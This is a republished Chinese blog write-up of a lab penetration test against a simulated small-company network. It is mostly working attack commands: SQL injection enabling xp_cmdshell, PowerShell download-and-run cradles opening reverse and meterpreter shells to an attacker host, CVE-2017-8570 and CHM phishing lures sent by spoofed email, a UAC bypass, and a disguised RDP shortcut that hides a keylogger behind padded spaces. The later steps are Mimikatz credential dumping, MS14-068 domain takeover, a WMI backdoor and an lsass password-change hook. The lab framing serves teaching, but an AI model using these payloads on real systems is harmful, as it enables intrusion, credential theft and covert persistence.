无弹窗渗透测试实验

2017 年 9 月 7 日 黑白之道



From:https://www.n0tr00t.com/2017/09/04/no-popups-pentesting.html
[+] Author: niexinming [+] Team: n0tr00t security team [+] From: http://www.n0tr00t.com [+] Create: 2017-09-04


0x01 前渗透

内网拓扑说明:

  1. 10.101.101.0/24 网段模拟的是外网的地址

  2. 192.168.101.0/24 网段模拟的是一个小型企业的内网中的应用服务器网络

  3. 192.168.111.0/24 网段模拟的是一个小型企业的内网中的办公网络

  4. 企业内网可以无限制的访问到外网,但是外网无法访问到企业内网

  5. 办公网可以无限制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络

  6. 部分服务器打了全部的补丁,并且保持正常更新

内网拓扑图:


扫描 10.101.101.13 后发现此服务器开放 80、82 端口, Win2008 系统,80 端口处发现 SQL 注入,获取数据库和数据库所在服务器版本:

http://10.101.101.13/?page=1 and @@version>0 --


数据库是 2008r2 的,所在的操作系统是 Win2008 或 Win7,随后看数据库:

http://10.101.101.13/?page=1;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --

这个语句测试数据库的权限,发现有延时,证明是有数据库的权限是dba的权限,打开 xp_cmdshell 的限制,创建临时表执行命令并将结果写入新创建的临时表中:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;   
http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a 
varchar(8000));-- http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmds
hell 'ipconfig /all';--

读取结果:

http://10.101.101.13/?page=1 and (select substring((select a from temp for
xml auto),1,4000))>0--


看上去这个网站是站库分离的网站,用这种方法执行 ping 10.101.101.16 ,发现数据库服务器可以通外网,获取这些信息之后,我 drop table temp 删除创建的临时表。在获取到这么多信息了之后,在自己机子上开一个 Web 站点下载 nishang 的 powershell 的反弹脚本到自己的 Web 服务器上:https://github.com/samratashok/nishang

nv -lvvp 8888 监听等待反弹,然后执行:

http://10.101.101.13/?page=1;exec master..xp_cmdshell 'powershell IEX
(New-Object Net.WebClient).DownloadString('http://10.101.101.13/
Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress
10.101.101.13 -port 8888';--

但是数据库权限病不高,现在我将用 Powershell 远程加载并执行exe的脚本执行 ms15-051 ,Ps 脚本地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 ,执行:

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/
Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl
http://10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

可以看到提权没有成功,并且换一个 Exploit 也没成功:

继续使用 msf 探测,开启 msf 监听功能:

执行,从数据库主机上反弹一个 meterpreter 连接:

http://10.101.101.13/?page=1;exec master..xp_cmdshell('IEX(New-Object Net.
WebClient).DownloadString("http://10.101.101.16/CodeExecution/Invoke-
Shellcode.ps1") Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost
10.101.101.16 -lport 4444 -force')

随后用 use auxiliary/scanner/smb/smb_version扫描 smb 获取内网信息,发现 mail 服务器,然后用 use auxiliary/scanner/portscan扫描端口,发现开放 80 25 110 端口:

使用 use auxiliary/server/socks4a 代理进内网后在 82 断口处发现了惊喜:

通过弱口令轻松进入到后台,发现一个可以生成静态站的地方:

把自定义静态页面存储主路径改成 1.asp ,然后编辑一篇文章把木马代码放进去,重新生成静态页面 GetShell :

这个服务器的 82 不能执行cmd,不支持aspx,不能跨目录到umail,但是在一个奇怪的地方发现一个一份企业通讯录,下载下来看到管理员邮箱:

于是想到用伪造邮件的方法来钓管理员,参考两篇文章:

  • http://www.freebuf.com/vuls/144054.html

  • http://www.91ri.org/15506.html

第一种方法:首先用 CVE-2017-8570 Explot 做一个钓鱼用的 ppsx ,由于原来的 exp 要用 Poershell 下载 shell.exe 再执行,这样容易被杀软发现,并且原来的 exp 执行反弹回来的 shell 权限不够,所以要考虑绕过 UAC ,让管理员点击恶意的 ppsx 后静默反弹一个高权限的shell ,如果用 nishang 给的 Invoke-PsUACme.ps1 ,执行之后会有一个一闪而过的黑框框,很让人感到怀疑,去掉这个一闪而过的黑框框很简单,因为我用 oobe 的方法在 Win7 上绕过 UAC ,所以我在这里只介绍在这种条件下去掉黑框框的方法,首先去掉 Invoke-PsUACme.ps1 第206行的 & $execpath 代码,之后在调用 Invoke-PsUACme 的时候 -payload 参数写上你要执行的命令,最后用 rundll32.exe 静默启动 C:/Windows/System32/oobe/setupsqm.exe

IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")

换掉原来 exp 里面的 Powershell 调用语句,其中 uacchm.ps1 的内容是:

IEX (New-Object System.Net.WebClient).DownloadString
('http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1') Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABp
AGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA
OgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA==' Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"\..\
mshtml,RunHTM
LApplication ";new%20ActiveXObject("WScript.Shell").Run
("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

而其中enc后面的数据是经过下面的代码编码而成:

$command = "IEX (New-Object Net.WebClient).DownloadString(
'http://10.101.101.16/chm.ps1')" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

编码的内容:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/
chm.ps1')

chm.ps1:

IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/
powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload
windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

改好的 exp https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py  ,用法是:先生成一个恶意的ppsx

python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u http://10.101.101.16:82/
logo.doc

在 82 端口开启服务:

python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16 

Ps: 好多时候这个漏洞复现不成功,可以将查看 文件 -> 选项,点击 信任中心设置,去掉设置中的所有勾取选项即可:

第二种方法比较简单,用 easy chm 做一个恶意的 chm :

其中我做的 test.html 我放在了 https://github.com/niexinming/safe_tool/blob/master/test.html Ps: 由于PARAM的value的长度似乎有某种限制,所以我把

IEX (New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")

base64 编码之后放入 PARAM 的 value 中 :

两个恶意的文件都制作好后用 swaks 伪造邮件把这两个文档发送出去:

现在静静等待管理员点击我们的恶意文件,启动msf的 exploit/multi/handler 模块时候用 exploit -j 就可以让 msf 在后台等待管理员上钩了。

0x02 后渗透

当我们发现一个管理员中了我们的木马

由于 bypass 了 uac ,所以返回的是管理员的 shell ,我们可以用 mimikatz 来把密码脱出来看看:

由于管理员的机子不属于任何域,也不是域账号登陆,所以我需要获取他的在远程登陆其他机子的时候的用户名和密码,根据这篇文件的介绍,我希望替换远程桌面的快捷方式来监视管理员的行为,思路是:

  • (1)正常启动c:\windows\system32\mstsc.exe,避免管理员怀疑

  • (2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框,让恶意代码静态启动

  • (3)参数部分要先加260个空格字符后面接着为payload代码,这样减小管理员查看属性的时候看到payload而产生怀疑

  • (4)参考http://wooyun.jozxing.cc/static/drops/tips-13125.html这个文章静默启动一个桌面步骤记录程序

  • (5)利用PowerSploit的Get-Keystrokes.ps1的脚本来记录键盘记录

  • (6)记录一分钟后把记录的文件隐藏起来

  • (7)启动metasploit的反弹连接

  • (8)修改图标(关于C:\Windows\system32\SHELL32.dll的图标id,有个网站给的很全面,http://help4windows.com/windows_7_shell32_dll.shtml,可以修改传递给图标id来修改图标)

我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1 ,远程加载的恶意的 PowerShell 代码放在了 https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好恶意的快捷方式之后只要修改 rlnk.ps1 就可以做你想做的事情了。

使用方法:

看着已经生成好了,看一下效果:

看着比较正常,用起来也很正常,没有卡顿,没有一闪而过的黑框,如果管理员用到远程登陆快捷方式去远程登陆服务器的话,在 c:\windows\temp 目录下会生成 log.dll ,这个里面记录的是键盘记录,cap.zip记录的是关键步骤截屏:

https://ws1.sinaimg.cn/large/c334041bgy1fj7hazxkd6g21gy0q6npe.gif

等管理员启动的恶意的远程登陆快捷方式之前,可以用管理员的密码在应用服务器网段内用use auxiliary/scanner/smb/smb_login 碰碰运气(看起来运气并不怎么样。。。):

等了几天后,我们发现在这个目录下终于有东西了,下载之后看到键盘记录:

屏幕截图记录:

我们现在获得了一个普通域账号的账户名和密码,下面试试 MS14-068 能不能成功,参考:http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/ ,用 proxychain 执行:

goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com

NICE!!!

Ps: 攻击的时候如果dns在内网要记得hosts的地址绑定。

用得到的 shell 反弹一个 PoweShell 出来到本地8888端口,如果你用下面的语句反弹的话将得到是一个32位的 PowerShell :

powershell IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/
nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse
-IPAddress 10.101.101.16 -port 8888

这个时候如果你运行:

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/
Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

系统会报错,原因是你不能在32位的 Shell 中运行64位的程程序,这里涉及到一个64位系统文件重定向的问题,参考:http://www.cnblogs.com/lhglihuagang/p/3930874.html,所以正确的做法是使用下面的代码来反弹一个64位的 PowerShell :

C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (
New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/
Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress
10.101.101.16 -port 8888

再次运行:

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/
Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

成功得到域控管理员的密码,下面我们要在域控上面安装一个隐蔽的后门,参考:

  • http://www.moonsec.com/post-621.html

  • https://www.secpulse.com/archives/39555.html

  • http://wooyun.jozxing.cc/static/drops/tips-15575.html

这里利用三好学生的方法制作一个 wmi 的后门,首先在自己的 Web 目录下写一个 mof.ps1 ,这个文件作用是用利用 wmi 的定时器的功能让系统每分钟执行一次我们的 payload,这个 mof.ps1 我放在 https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 ,我还写了一个可以劫持进程的 Powershell 脚本,放在 https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1 ,这里我的 Payload 用一个反弹 meterpreter 连接的脚本,mof.txt:

<?xml version="1.0"?><package><component id="testCalc"><script language="
JScript"><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell -enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbg
B0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwA
C4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]></script></component></package>

enc编码前的内容依然是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/
chm.ps1')

执行之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹:

Ps: 这个wmi的后门我在Win10上实验的时候不能执行 Payload ,如果触发到后门的触发条件的话, Win10 会弹出 openwith.exe 这个进程,界面上看就是这个:

查了两天资料也没有找到一个正经的解决方法,但是后来把 openwith.exe 换成 cmd.exe 就可以执行 Payload 了,因为 win7 和 win2008 没有 openwith ,所以没有遇到什么阻力就直接执行Payload,但是 Win10 和 Win8 在正常情况下就会打开 openwith ,这个后门的清理方式可以参考:https://www.52pojie.cn/thread-607115-1-1.html

最后,我还想放置一个后们,在域控管理员改密码的时候记录他的新密码[参考],注意他的脚本里面有一个选项可以从你的 Web 服务器加载一个dll到对方主机内存里面,这样你把你的dll生成好之后就可以放在你的 Web 服务器下面,在这个ps1最下面加入:

Invoke-ReflectivePEInjection -PEUrl http://10.101.101.16/HookPasswordChange.dll –procname lsass

然后你把这个脚本的调用加入到chm.ps1里面,下面是改动之后chm.ps1里面的内容:

IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/
HookPasswordChangeNotify.ps1") IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/
powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload
windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

这样一方面我们可以反弹一个 meterpreter ,另一方面还可以在域管理员改密码的时候记录他的新密码:

文章出处:关注安全技术

你会喜欢


渗透测试中的攻与守

为渗透测试准备的10大黑客工具

WEB渗透测试中回显的一些技巧



登录查看更多
0

相关内容

【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
专知会员服务
60+阅读 · 2020年3月19日
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
Keras作者François Chollet推荐的开源图像搜索引擎项目Sis
专知会员服务
29+阅读 · 2019年10月17日
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
用Now轻松部署无服务器Node应用程序
前端之巅
16+阅读 · 2019年6月19日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
Python | Jupyter导出PDF,自定义脚本告别G安装包
程序人生
7+阅读 · 2018年7月17日
Neural Response Generation with Meta-Words
Arxiv
6+阅读 · 2019年6月14日
The Evolved Transformer
Arxiv
5+阅读 · 2019年1月30日
Arxiv
3+阅读 · 2018年10月18日
Arxiv
8+阅读 · 2018年1月25日
Arxiv
6+阅读 · 2018年1月14日
VIP会员
相关VIP内容
【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
专知会员服务
60+阅读 · 2020年3月19日
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
Keras作者François Chollet推荐的开源图像搜索引擎项目Sis
专知会员服务
29+阅读 · 2019年10月17日
相关资讯
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
用Now轻松部署无服务器Node应用程序
前端之巅
16+阅读 · 2019年6月19日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
Python | Jupyter导出PDF,自定义脚本告别G安装包
程序人生
7+阅读 · 2018年7月17日
相关论文
Neural Response Generation with Meta-Words
Arxiv
6+阅读 · 2019年6月14日
The Evolved Transformer
Arxiv
5+阅读 · 2019年1月30日
Arxiv
3+阅读 · 2018年10月18日
Arxiv
8+阅读 · 2018年1月25日
Arxiv
6+阅读 · 2018年1月14日
Top
微信扫码咨询专知VIP会员